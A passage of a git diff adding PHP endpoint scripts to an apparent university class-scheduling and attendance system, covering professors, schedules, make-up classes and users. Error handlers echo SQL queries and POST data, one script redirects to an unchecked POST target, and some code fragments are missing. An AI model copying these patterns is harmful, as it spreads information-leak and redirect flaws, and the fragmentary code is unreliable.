query( + "SELECT FI_HORARIO(:horario::VARCHAR, :profesor::INT, :materia::INT, :facultad::INT, :periodo::INT, :grupo::VARCHAR, :salon::VARCHAR)", + $horario + ); + } catch (Exception $e) { + die(json_encode([ + "status" => "error", + "sql" => $e->getMessage(), + "message" => "Error al cargar el archivo", + ])); + } +} +?> + "success", + "message" => "Horarios guardado con éxito", +]) ?> diff --git a/action/action_horario_profesor.php b/action/action_horario_profesor.php new file mode 100644 index 0000000..95f6b3a --- /dev/null +++ b/action/action_horario_profesor.php @@ -0,0 +1,38 @@ +query("SELECT * FROM fs_horario(_periodo_id => ?, _last => true, _profesor_id => ?) ORDER BY MATERIA", [ + $_POST['periodo_id'], + $_POST['profesor_id'], + ]); + + $horarios = array_map(function ($horario) use ($dias, $db) { + $horario['profesores'] = array_map( + fn ($profesor) => + $db->where("id", $profesor)->getOne("fs_profesor"), + explode(",", substr($horario['profesores'], 1, -1)) + ); + $horario['dia'] = $dias[$horario['dia']]; + return $horario; + }, $horarios); + die(json_encode([ + "status" => "success", + "data" => $horarios, + // "data" => [], + ])); +} catch (Exception $e) { + die(json_encode([ + "status" => "error", + "message" => $e->getMessage(), + "query" => $db->getLastQuery(), + ])); +} diff --git a/action/action_horario_update.php b/action/action_horario_update.php new file mode 100644 index 0000000..a55554a --- /dev/null +++ b/action/action_horario_update.php @@ -0,0 +1,48 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); + +$horario = array_map(fn ($value) => $_POST[$value], array_filter([ + "hora" => "hora", + "dia" => "día", + "salon" => "salón", + "duracion" => "duración", +], fn ($value) => !empty($_POST[$value]))); + +if (!empty($_POST['profesores'])) + $horario["profesores"] = "{ {$_POST['profesores']} }"; + +try { + $id = $_POST['id'] ?? 0; + + $old = $db + ->where("horario_id", $id) + ->getOne("horario"); + + $horario = $db + ->where("id", $id) + ->update("fs_horario", $horario); + + $new = $db + ->orderBy("horario_id", "DESC") + ->getOne("horario"); + + $user->print_to_log("Actualización de horario", old: $old, new: $new); +} catch (Exception $e) { + die(json_encode([ + "status" => "error", + "message" => $e->getMessage(), + 'POST' => $_POST, + ])); +} + +die(json_encode([ + "status" => "success", +])); diff --git a/action/action_justificar.php b/action/action_justificar.php new file mode 100644 index 0000000..6d0b4fd --- /dev/null +++ b/action/action_justificar.php @@ -0,0 +1,94 @@ + 'unauthorized']); + exit; +} + +$user = unserialize($_SESSION['user']); + +try { + if ($_SERVER['REQUEST_METHOD'] === 'PUT') { + // check parameters + $raw = file_get_contents('php://input'); + $post_data = json_decode($raw, true); + // if it's a list + // step 1: get subrutas + if (empty($post_data)) { + http_response_code(400); + echo json_encode(['error' => 'No hay clases pendientes']); + exit; + } + if (!(isset($post_data['fecha'], $post_data['bloques'], $post_data['justificacion']))) { + http_response_code(400); + echo json_encode(['error' => 'Faltan parametros']); + exit; + } + + $bloques = $db + ->where('id', $post_data['bloques']) + ->orderBy('hora_inicio') + ->get('bloque_horario', null, 'hora_inicio, hora_fin'); + + $min_hora_inicio = $bloques[0]['hora_inicio']; + $max_hora_fin = $bloques[count($bloques) - 1]['hora_fin']; + + $pdo->beginTransaction(); + $data = $db->query( + "INSERT INTO registro (horario_id, registro_fecha_ideal, profesor_id, justificador_id, justificacion, registro_fecha_justificacion, registro_justificada) + SELECT DISTINCT + horario_id, :fecha::DATE, profesor_id, :justificador_id::INT, :justificacion, NOW(), true + from horario_view + join horario_profesor using (horario_id) + where + (:hora_inicio::TIME, :hora_fin::TIME) OVERLAPS (horario_hora, horario_fin) AND + horario_dia = EXTRACT(DOW FROM :fecha::DATE) AND + periodo_id = :periodo_id AND + (horario_view.facultad_id = :facultad_id OR :facultad_id IS NULL) + ON CONFLICT (horario_id, registro_fecha_ideal, profesor_id) DO UPDATE SET + justificador_id = :justificador_id, + justificacion = :justificacion, + registro_fecha_justificacion = NOW(), + registro_justificada = true + RETURNING *;", + array( + 'justificador_id' => $user->user['id'], + 'justificacion' => empty($post_data['justificacion']) ? null : $post_data['justificacion'], + 'fecha' => $post_data['fecha'], + 'periodo_id' => $user->periodo_id, + 'facultad_id' => $user->facultad['facultad_id'], + 'hora_inicio' => $min_hora_inicio, + 'hora_fin' => $max_hora_fin, + ) + ); + $pdo->commit(); + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + + } + +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + 'post_data' => $post_data, + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + $pdo->rollBack(); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_login.php b/action/action_login.php new file mode 100644 index 0000000..f0dc374 --- /dev/null +++ b/action/action_login.php @@ -0,0 +1,42 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); + +$ruta = "../"; +require_once "../include/bd_pdo.php"; +$facultad_id = $user->facultad['facultad_id']; +$materias = $db->query(<< $facultad_id) +); + +// $user->print_to_log("Crea carrera", old: $_POST); + +die(json_encode($materias)); \ No newline at end of file diff --git a/action/action_materias_select.php b/action/action_materias_select.php new file mode 100644 index 0000000..f0d56a9 --- /dev/null +++ b/action/action_materias_select.php @@ -0,0 +1,8 @@ + $_POST['idmateria']]; + echo json_encode(query($sql, $params, false)); +?> \ No newline at end of file diff --git a/action/action_materias_update.php b/action/action_materias_update.php new file mode 100644 index 0000000..19c4e8e --- /dev/null +++ b/action/action_materias_update.php @@ -0,0 +1,11 @@ + mb_strtoupper($_POST["nombre"]), ':id' => $_POST["id"]); + $hecho = query($sql, $params, false); + header("Location: ../materias.php"); + exit(); +?> \ No newline at end of file diff --git a/action/action_new_horario.php b/action/action_new_horario.php new file mode 100644 index 0000000..27e8b1b --- /dev/null +++ b/action/action_new_horario.php @@ -0,0 +1,17 @@ + + + $_POST['fecha_inicial'], + ':fecha_fin' => $_POST['fecha_final'], + ':estado' => $_POST['estadoP'], + ':nombre' => mb_strtoupper($_POST['nombreP']), + ':nivel' => $_POST['nivelP'], + ':facultad' => $_POST['facultadP'] + ]; + echo json_encode(query($sql, $params, true)); + header("Location: ../carreras.php?facultad=".$_POST['facultadP']); + exit(); +?> \ No newline at end of file diff --git a/action/action_periodos_select.php b/action/action_periodos_select.php new file mode 100644 index 0000000..e6ca0a3 --- /dev/null +++ b/action/action_periodos_select.php @@ -0,0 +1,8 @@ + $_POST['idfacultad'], ':idperiodo' => $_POST['idperiodo']]; + echo json_encode(query($sql, $params, true)); +?> \ No newline at end of file diff --git a/action/action_periodos_update.php b/action/action_periodos_update.php new file mode 100644 index 0000000..0d39c10 --- /dev/null +++ b/action/action_periodos_update.php @@ -0,0 +1,17 @@ + $_POST['idP'], + ':fecha_inicio' => $_POST['fecha_inicial'], + ':fecha_final' => $_POST['fecha_final'], + ':estado' => $_POST['estadoP'], + ':nombre' => mb_strtoupper($_POST['nombreP']), + ':nivel' => $_POST['nivelP'] +]; +echo json_encode(query($sql, $params, true)); +header("Location: ../carreras.php?facultad=" . $_POST['facultadP']); +exit(); \ No newline at end of file diff --git a/action/action_periodousuario_update.php b/action/action_periodousuario_update.php new file mode 100644 index 0000000..2c31ed2 --- /dev/null +++ b/action/action_periodousuario_update.php @@ -0,0 +1,17 @@ + $user->user['id'], ':per' => $_POST['id']); +$user->print_to_log('Actualizando periodo from ' . $user->periodo_id . ' to ' . $_POST['id']); + +query("SELECT FU_UPDATEPERIODO(:id, :per)", $params); + +$_SESSION['user'] = serialize($user); +header("Location: {$_POST["target"]}"); diff --git a/action/action_permisos_update.php b/action/action_permisos_update.php new file mode 100644 index 0000000..b82c5bd --- /dev/null +++ b/action/action_permisos_update.php @@ -0,0 +1,36 @@ +query("SELECT fd_permiso()"); + foreach($ver as $lectura){ + $igual=false; + $ver_separado = explode("_", $lectura); + foreach($completo as $comp){ + if($ver_separado[0] == $comp[0] && $ver_separado[1] == $comp[1]){ + $igual=true; + break; + } + } + if(!$igual) + $completo[]=$ver_separado; + } + foreach($completo as $actual){ + + $db->insert('permiso', [ + 'pagina_id' => $actual['0'], + 'rol_id' => $actual['1'], + 'permiso_tipo' => $actual['2'], + ]); + } + header("Location: ../permisos.php"); + exit(); +?> \ No newline at end of file diff --git a/action/action_profesor.php b/action/action_profesor.php new file mode 100644 index 0000000..345b582 --- /dev/null +++ b/action/action_profesor.php @@ -0,0 +1,57 @@ + 'unauthorized'])); +} +$user = unserialize($_SESSION['user']); + +// check method +try { + if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $data = $db->query( + "SELECT DISTINCT profesor.* + FROM profesor + JOIN horario_profesor using (profesor_id) + JOIN horario using (horario_id) + JOIN materia using (materia_id) + JOIN carrera using (carrera_id) + WHERE carrera.facultad_id = :facultad_id OR :facultad_id IS NULL + ORDER BY profesor.profesor_nombre", + array( + ":facultad_id" => $user->facultad['facultad_id'] + ) + ); + + $last_query = [ + 'query' => $db->getLastQuery(), + ]; + + echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + } else { + http_response_code(405); + echo json_encode(['error' => 'method not allowed']); + exit; + } +} catch (PDOException $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + 'query' => $db->getLastQuery(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR); + exit; +} catch (Exception $th) { + http_response_code(500); + echo json_encode([ + 'error' => $th->getMessage(), + ], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT); + exit; +} \ No newline at end of file diff --git a/action/action_profesor_faltas.php b/action/action_profesor_faltas.php new file mode 100644 index 0000000..e43cb3d --- /dev/null +++ b/action/action_profesor_faltas.php @@ -0,0 +1,40 @@ + '22:00' ? '22:00' : $hora_fin) + 1800); + +die(json_encode( + array_map(fn ($row) => array_merge( + $db->where('id', $row['profesor_id'])->getOne('fs_profesor'), + $db->where('id', $row['materia_id'])->getOne('fs_materia'), + $row + ), + queryAll( + "SELECT REPORTE.* + FROM fs_asistencia_profesorreporte(null, :periodo, null, :fecha, :fecha) AS REPORTE + JOIN PROFESOR P ON P.PROFESOR_ID = REPORTE.PROFESOR_ID + WHERE HORA_CHECADO IS NULL + AND HORA BETWEEN :inicio AND :fin + AND P.PROFESOR_CLAVE ILIKE COALESCE(:clave, P.PROFESOR_CLAVE) and UNACCENT(P.PROFESOR_NOMBRE) ILIKE UNACCENT(COALESCE(:nombre, P.PROFESOR_NOMBRE)) + AND FECHA = :fecha + ORDER BY HORA, MATERIA", + [ + 'periodo' => $periodo, + 'fecha' => $fecha, + 'inicio' => $hora_inicio, + 'fin' => $hora_fin, + 'clave' => empty($clave) ? null : "%$clave%", + 'nombre' => empty($nombre) ? null : "%$nombre%" + ] +)))); + + +#ECHO "$hora_inicio - $hora_fin"; \ No newline at end of file diff --git a/action/action_profesores_borra.php b/action/action_profesores_borra.php new file mode 100644 index 0000000..9dd9927 --- /dev/null +++ b/action/action_profesores_borra.php @@ -0,0 +1,7 @@ + $_POST['id_profesor'], ':idfacultad' => $_POST['id_facultad'], ':estado' => $_POST['estado']]; + echo json_encode(query($sql, $params, false)); +?> \ No newline at end of file diff --git a/action/action_profesores_insert.php b/action/action_profesores_insert.php new file mode 100644 index 0000000..9d26501 --- /dev/null +++ b/action/action_profesores_insert.php @@ -0,0 +1,75 @@ + FILTER_FLAG_STRIP_LOW))); + if(isset($_POST["dlfacultad"])) + $facultad = trim(filter_input(INPUT_POST, "dlfacultad", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW))); + else + $facultad = trim(filter_input(INPUT_POST, "mfacultad", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW))); + $clave = trim(filter_input(INPUT_POST, "mclave", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW))); + $grado = trim(filter_input(INPUT_POST, "grado", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW))); + $nombre = trim(filter_input(INPUT_POST, "nombre", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW))); + $grado = mb_strtoupper($grado); + if(!empty($grado)){ + if(!ctype_space($grado)){ + if($grado[strlen($grado)-1] != '.') + $grado.='.'; + } + else{ + $grado=""; + } + } + $fs_profesores = query(//revisar si existe la clave del profesor + "SELECT * FROM fs_profesor WHERE clave = :clave", + array(":clave" => $_POST["mclave"]), + true + ); + if(!$fs_profesores){//hay que crearlo desde 0 (profesor) y agregarlo a su facultad(facultad_profesor) + $profesor_id = query( + "SELECT public.fi_profesor( + :nombre, + :clave, + :facultad, + null, + :grado + )", + array(":nombre" => mb_strtoupper($nombre), ":clave" => $clave, ":facultad" => $facultad, ":grado" => $grado), + true + ); + header("Location: ../profesores.php"); + exit(); + } + else{//el profesor ya existe + $profac = query( + "SELECT * FROM facultad_profesor WHERE facultad_id = :facultad AND profesor_id = :profesor", + array(":facultad" => $facultad, ":profesor" => $fs_profesores["id"]), + true + ); + if(!$profac){//agregarlo a la facultad (facultad_profesor) + query( + "SELECT fi_facultad_profesor( + :facultad, + :profesor + )", + array(":facultad" => $facultad, ":profesor" => $fs_profesores["id"]), + true + ); + header("Location: ../profesores.php"); + exit(); + } + else{//regresar error (ya existe este profesor en esta facultad) + //print_r($profac); + if(!$profac['fp_activo']){ + query( + "SELECT fu_estado_facultad_profesor(:idprofesor, :idfacultad, :estado)", + array(":idprofesor" => $fs_profesores["id"], ":idfacultad" => $facultad, ":estado" => true), + true + ); + header("Location: ../profesores.php"); + exit(); + } + header("Location: ../profesores.php?error=1"); + #exit(); + } + } +?> \ No newline at end of file diff --git a/action/action_profesores_select.php b/action/action_profesores_select.php new file mode 100644 index 0000000..6443e89 --- /dev/null +++ b/action/action_profesores_select.php @@ -0,0 +1,10 @@ + $_POST['profesor']]; + +echo json_encode(query($sql, $params, false)); diff --git a/action/action_profesores_update.php b/action/action_profesores_update.php new file mode 100644 index 0000000..00a975e --- /dev/null +++ b/action/action_profesores_update.php @@ -0,0 +1,23 @@ +where('profesor_id', $_POST['id'])->update('profesor', ['profesor_grado' => $_POST['grado']]); +header("Location: ../profesores.php", true, 307); +exit(); \ No newline at end of file diff --git a/action/action_reposiciones.php b/action/action_reposiciones.php new file mode 100644 index 0000000..5c672da --- /dev/null +++ b/action/action_reposiciones.php @@ -0,0 +1,54 @@ + 'No se ha iniciado sesión'])); + +$user = unserialize($_SESSION['user']); +$ruta = "../"; +require_once "../include/bd_pdo.php"; + +// if method is get +header("Content-Type: application/json"); +if ($_SERVER['REQUEST_METHOD'] === 'GET') { + $user->print_to_log("Acceso a reposiciones"); + $reposiciones = $db + ->where('periodo_id', $_GET['periodo_id'] ?? null) + ->where('profesor_id', $_GET['profesor_id'] ?? []) + ->get("reposicion"); + echo json_encode([ + 'status' => 'success', + 'reposiciones' => $reposiciones + ]); +} elseif ($_SERVER['REQUEST_METHOD'] === 'POST') { + $user->print_to_log("Creación de reposición", new: $params); + try { + $requiredParams = ['horario_id', 'fecha', 'hora', 'duracion_id', 'descripcion', 'profesor_id', 'salon', 'unidad', 'periodo_id', 'fecha_clase']; + + // Filter params based on requiredParams + $params = array_filter($_POST, function ($key) use ($requiredParams) { + return in_array($key, $requiredParams); + }, ARRAY_FILTER_USE_KEY); + + // Check if all required params are present + if (count($params) !== count($requiredParams)) { + throw new Exception('Falta uno o más parámetros requeridos'); + } + + $db->insert("reposicion", $params); + + // Return success response + echo json_encode([ + "status" => "success", + "message" => "Reposición creada correctamente", + ]); + } catch (Exception $e) { + // Return error response + echo json_encode([ + "status" => "error", + "message" => "No se pudo crear la reposición", + "error" => $e->getMessage(), + ]); + } +} diff --git a/action/action_revisar_excel.php b/action/action_revisar_excel.php new file mode 100644 index 0000000..1b66f89 --- /dev/null +++ b/action/action_revisar_excel.php @@ -0,0 +1,50 @@ +setReadDataOnly(true); + +$file = $_FILES['archivo']; + + +$spreadsheet = $reader->load($file['tmp_name'][0]); + +$data = []; + +try { + + foreach_sheet( + $spreadsheet, // object $spreadsheet + function (array $row_data, int $i, string $sheet) { + global $horario, $data; + + if (renglón_vacío($row_data)) return; + validar_registro($row_data, $i); + + $horario["horario"] = horario($row_data, $i, $sheet); + + foreach (array_filter($row_data) as $key => $value) + $horario = array_merge($horario, ($key == 'maestro') ? columna_nombre($value) : [$key => $value]); + + $data[] = $horario; + } + ); + + die(json_encode([ + "status" => "success", + "message" => "Horario revisado con éxito, se leyeron: " . count($data) . " registros", + "data" => $data + ])); +} catch (Exception $e) { + die(json_encode([ + "status" => "error", + "message" => $e->getMessage(), + ])); +} diff --git a/action/action_roles_insert.php b/action/action_roles_insert.php new file mode 100644 index 0000000..a9ad636 --- /dev/null +++ b/action/action_roles_insert.php @@ -0,0 +1,11 @@ + mb_strtoupper($_POST['mtitulo'])]; + $hecho = query($sql, $params, true); + header("Location: ../roles.php"); + exit(); +?> \ No newline at end of file diff --git a/action/action_roles_select.php b/action/action_roles_select.php new file mode 100644 index 0000000..6ac2266 --- /dev/null +++ b/action/action_roles_select.php @@ -0,0 +1,11 @@ + $_POST['rol']]; + + echo json_encode( query($sql, $params, true)); +?> \ No newline at end of file diff --git a/action/action_roles_update.php b/action/action_roles_update.php new file mode 100644 index 0000000..479f048 --- /dev/null +++ b/action/action_roles_update.php @@ -0,0 +1,11 @@ + mb_strtoupper($_POST['mtitulo']), ':id' => $_POST['id']); + print_r($_POST); + $hecho = query($sql, $params, false); + header("Location: ../roles.php", true, 307); + exit(); +?> \ No newline at end of file diff --git a/action/action_tiempos_update.php b/action/action_tiempos_update.php new file mode 100644 index 0000000..2407d95 --- /dev/null +++ b/action/action_tiempos_update.php @@ -0,0 +1,37 @@ + $_POST['facultadT']], true +); + +if($fs_tiempo){ + $sql = "SELECT fu_update_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)"; + $params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 1, ':antes' => -1*$_POST['antesL'], ':despues' => $_POST['despuesL']+1, ':retardo' => $_POST['retardoL']+$_POST['despuesL']+1]; +} +else{ + $sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)"; + $params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 1, ':antes' => -1*$_POST['antesL'], ':despues' => $_POST['despuesL']+1, ':retardo' => $_POST['retardoL']+$_POST['despuesL']+1]; +} +query($sql, $params, false); + + +$fs_tiempo2 = query( + "SELECT * FROM fs_tiempo_checado(:facultad, 2)", [':facultad' => $_POST['facultadT']], true +); + +if($fs_tiempo2){ + $sql = "SELECT fu_update_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)"; + $params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 2, ':antes' => -1*$_POST['antesP'], ':despues' => $_POST['despuesP']+1, ':retardo' => $_POST['retardoP']+$_POST['despuesP']+1]; +} +else{ + $sql = "SELECT fi_tiempo_checado(:idfacultad, :idnivel, :antes, :despues, :retardo)"; + $params = [':idfacultad' => $_POST['facultadT'], ':idnivel' => 2, ':antes' => -1*$_POST['antesP'], ':despues' => $_POST['despuesP']+1, ':retardo' => $_POST['retardoP']+$_POST['despuesP']+1]; +} +query($sql, $params, false); + +header("Location: ../carreras.php?facultad=".$_POST['facultadT']); +exit(); +?> \ No newline at end of file diff --git a/action/action_usuario.php b/action/action_usuario.php new file mode 100644 index 0000000..fcef3f2 --- /dev/null +++ b/action/action_usuario.php @@ -0,0 +1,22 @@ + $facultades[$i]["id"]) + ); +} + +echo json_encode($facultades); diff --git a/action/action_usuarios_delete.php b/action/action_usuarios_delete.php new file mode 100644 index 0000000..77e33ba --- /dev/null +++ b/action/action_usuarios_delete.php @@ -0,0 +1,15 @@ +querySingle("UPDATE usuario SET estado_baja = TRUE WHERE usuario_id = ?", [$_GET['id']]); + header("Location: ../usuarios.php", true, 307); +} catch (PDOException $e) { + header("Location: ../usuarios.php?error=2"); + exit; +} diff --git a/action/action_usuarios_insert.php b/action/action_usuarios_insert.php new file mode 100644 index 0000000..7565f32 --- /dev/null +++ b/action/action_usuarios_insert.php @@ -0,0 +1,29 @@ +where('usuario_clave', $_POST['mclave'])->has('usuario')) { + header("Location: ../usuarios.php?error=1"); + exit; +} +try { + $db->insert('usuario', [ + 'usuario_nombre' => mb_strtoupper($_POST['mnombre']), + 'usuario_correo' => $_POST['mcorreo'], + 'usuario_clave' => $_POST['mclave'], + 'rol_id' => $_POST['mrol'] ?? null, + 'facultad_id' => empty($facultad) ? null : $facultad, + ]); + header("Location: ../usuarios.php", true, 307); +} catch (PDOException $e) { + header("Location: ../usuarios.php?error=2"); + exit; +} diff --git a/action/action_usuarios_select.php b/action/action_usuarios_select.php new file mode 100644 index 0000000..aabbd20 --- /dev/null +++ b/action/action_usuarios_select.php @@ -0,0 +1,8 @@ + $_POST['usuario']]; + echo json_encode(query($sql, $params, true)); +?> \ No newline at end of file diff --git a/action/action_usuarios_update.php b/action/action_usuarios_update.php new file mode 100644 index 0000000..52e77c4 --- /dev/null +++ b/action/action_usuarios_update.php @@ -0,0 +1,26 @@ +where('usuario_clave', $_POST['mclave']) + ->update( + 'usuario', + array( + 'usuario_nombre' => mb_strtoupper($_POST['mnombre']), + 'usuario_correo' => $_POST['mcorreo'], + 'usuario_clave' => $_POST['mclave'], + 'rol_id' => $_POST['mrol'], + 'facultad_id' => empty($facultad) ? null : $facultad, + ) + ); +header("Location: ../usuarios.php", true, 307); +exit(); \ No newline at end of file diff --git a/action/asignacion_insert.php b/action/asignacion_insert.php new file mode 100644 index 0000000..f6abf0d --- /dev/null +++ b/action/asignacion_insert.php @@ -0,0 +1,166 @@ +access(); + +$duracion_id = filter_input(INPUT_POST, "duracion", FILTER_SANITIZE_NUMBER_INT);//Id reposicion +$fecha = trim(htmlspecialchars($_POST["fecha_inicial"], ENT_QUOTES, "UTF-8"));//limpia texto +$fecha_cambio = trim(htmlspecialchars($_POST["fecha_cambio"], ENT_QUOTES, "UTF-8"));//limpia texto +$hora_ini = filter_input(INPUT_POST, "hora_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$min_ini = filter_input(INPUT_POST, "min_ini", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$alumnos = filter_input(INPUT_POST, "alumnos", FILTER_SANITIZE_NUMBER_INT);//limpia texto +$aula = filter_input(INPUT_POST, "aula", FILTER_SANITIZE_NUMBER_INT);//1 regular , 2 sala computo, 3 otro facultad + +if(empty($_POST["prof"])) + $prof = $user["id"]; +else + $prof = filter_input(INPUT_POST, "prof", FILTER_SANITIZE_NUMBER_INT);//limpia texto +//if(isset($_POST["salon"]) && $_POST["salon"] != "") +//$salon = trim(filter_input(INPUT_POST, "salon", FILTER_SANITIZE_STRING,array('flags' => FILTER_FLAG_STRIP_LOW)));//limpia texto +$comentario = trim(htmlspecialchars($_POST["comentario"], ENT_QUOTES, "UTF-8"));//limpia texto + + + +$duracion_rs = $db->querySingle("select * from duracion where duracion_id = :id", [":id"=>$duracion_id]); +$duracion_tiempo = $duracion_rs["duracion_interval"]; + +//-- Obtiene datos de horario regular de clase +$horario_rs = $db->querySingle('SELECT * from horario_view where horario_id = :hor', + [':hor' => $hor] + ); + +$materia = $horario_rs["materia_id"]; +$dia = $horario_rs["horario_dia"]; + +$hora = $hora_ini.":".$min_ini.":00"; +$fecha_new = DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')." ".$hora; +$fecha_fin_new = date("Y-m-d", strtotime($fecha_new))." ".$duracion_tiempo; +$dia_new = date('w', strtotime($fecha_new)); + +$fecha_falta = DateTime::createFromFormat('d/m/Y', $fecha_falta)->format('Y-m-d'); +$dia_falta = date('w', strtotime($fecha_falta)); + + +//Valida que tenga clase en la fecha de falta +if(intval($dia) != intval($dia_falta)){ + header("Location:".$pag."?error=11"); + /*print_r($_POST); + echo 'SELECT * from horario_view where horario_id = '.$hor; + echo intval($dia)." != ".intval($dia_falta);*/ + exit(); +} + +//Obtiene materia +$materia_rs = $db->querySingle('SELECT materia_nombre from materia where materia_id = :mat',[':mat' => $materia]); + +//Obtiene correo +$correos_rs = $db->querySingle('SELECT coor.usuario_correo, coor.usuario_nombre from usuario coor where rol_id = :rol_coord and facultad_id = ( + select coalesce(facultad_id,0) from usuario u where u.usuario_id = :id_usr)',[':rol_coord' => COORDINADOR, ':id_usr' => $user->user["id"]] +); +if( count($correos_rs) > 0 ){ + $to = $correos_rs["usuario_correo"]; +} + +if($tipo == 1){//Reposición + // Valida que grupo no tenga clases + /*$result = validaConflictoHoras($pdo, $gpo, $dia_new, $hora, $materia, "-", $fecha_new, $fecha_fin_new, $duracion); + if($result != ""){//error + //echo $result; + header("Location:".$pag."?error=7"); + exit(); + } + */ + //Valida que profesor no este en 2 reposiciones al mismo tiempo en la fecha nueva + + $traslape = $db->querySingle('SELECT * from traslape_profesor_reposicion(:prof, :fecha, :hora, :dur)', + [':prof' => $prof, ':fecha'=>DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d'), ':hora'=>$hora, ':dur'=>$duracion_tiempo] + )["traslape_profesor_reposicion"]; + if($traslape){ + //print_r($_POST); + //echo "SELECT * from traslape_profesor_reposicion($prof,'".DateTime::createFromFormat('d/m/Y', $fecha)->format('Y-m-d')."' , '$hora', $duracion)"; + + header("Location:".$pag."?error=9"); + exit(); + } + + try{ + $db->query('SELECT * from fi_asignacion_solicitud(:f_nueva, :hora_nueva, :prof, 1, :desc, :alumnos, :aula, :duracion, :usr)', + [':f_nueva' => $fecha_new, ':hora_nueva' => $hora, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"] + ] + ); + }catch(Exception $e){ + echo $e->getMessage(); + //header("Location: ".$pag."?error=1"); + exit(); + } + $texto = "

Se creó una reposición nueva.

"; + $texto .= "

".mb_strtoupper($materia_rs["materia_nombre"])." del día ".$fecha_falta." a las ".$hor." hrs. se propone reponer el ".$fecha_new." a las ".$hora." hrs."; + $texto .= "

Ingresa al sistema PAAD para autorizarla.

"; + +/* + $log = new LogActividad(); + $desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_falta.">".$fecha_new."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]"; + $log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log);*/ + + +}else{//Cambio salón / hora + + try{ + $db->query('SELECT * from fi_reposicion_solicitud(:f_nueva, :hora_nueva, :hor, :prof, 1, :desc, :alumnos, true, :aula, :duracion, :usr)', + [':f_nueva' => $fecha_cambio, ':hora_nueva' => $hora, ':hor' => $hor, + ':prof' => $prof, ':desc' => $comentario, ':alumnos' => $alumnos, ':aula' => $aula, ':duracion' => $duracion_tiempo, ':usr'=>$user->user["id"], + ] + ); + }catch(Exception $e){ + + header("Location: ".$pag."?error=1"); + exit(); + } + $texto = "

Se creó un cambio de salón nuevo.

"; + $texto .= "

".mb_strtoupper($materia_rs["materia_nombre"])." del día ".$fecha_falta." a las ".$hora." hrs. se propone reponer el ".$fecha_nueva." a las ".$hora_nueva." hrs."; + $texto .= "

Ingresa al sistema PAAD para autorizarlo.

"; + + /* + $log = new LogActividad(); + $desc_log = "Inserta reposición nueva ID[".$rs["fi_reposicion"]."] Fechas[".$fecha_cambio.">".$fecha_cambio_nueva."] Periodo[".$_SESSION["periodo_id"]."] Materia[".$materia."] Profesor[".$prof."] Salon[".$salon."] Horario[".$hor."] Alumnos[".$alumnos."]"; + $log->appendLog($_SESSION["usuario_id"], $_SESSION["usuario_nombre"]." ".$_SESSION["usuario_apellidos"], $desc_log); + */ + +} + + +if($to!= "" && ENVIO_CORREOS){ + $asunto = "Reposición nueva - solicitud"; + //crear plantilla + $texto = ' + La Salle + '.$texto.' + '; + + require_once('../include/phpmailer/PHPMailerAutoload.php'); + if($_ENV['DB_NAME'] == "paad_pruebas"){ + $asunto = "PRUEBAS-".$asunto; + Mailer::enviarCorreo("alejandro.rosales@lasalle.mx", $asunto, $texto, true); + }else{ + Mailer::enviarCorreo($to, $asunto, $texto, true); + } +} + +exit(); +header("Location: ".$pag."?ok=0"); +?> diff --git a/action/asistenciasprofesor_select.php b/action/asistenciasprofesor_select.php new file mode 100644 index 0000000..59bd9e8 --- /dev/null +++ b/action/asistenciasprofesor_select.php @@ -0,0 +1,26 @@ +query('SELECT * from fs_asistenciaprofesor_horario(:id, :hor)', [':id' => $id, ':hor' => $hor]); + $asistArr = array(); + + foreach($rs as $row){ + $asistArr[] = $row["registro_fecha_ideal"]; + } + $return["asistenciaArr"] = $asistArr; +} +echo json_encode($return); +?> diff --git a/action/avisos.php b/action/avisos.php new file mode 100644 index 0000000..2a0b77a --- /dev/null +++ b/action/avisos.php @@ -0,0 +1,293 @@ + 'No se ha iniciado sesión')); + exit(); +} +$user = Login::get_user(); +try { + + switch ($_SERVER['REQUEST_METHOD']) { + case 'GET': + $facultad_id = $user->facultad['facultad_id']; + $avisos = $db->query( + "SELECT * FROM aviso + WHERE + (CURRENT_DATE BETWEEN aviso_fecha_inicial AND aviso_fecha_final) AND + (facultad_id = :facultad_id OR :facultad_id IS NULL) AND + aviso_estado + ORDER BY aviso_id 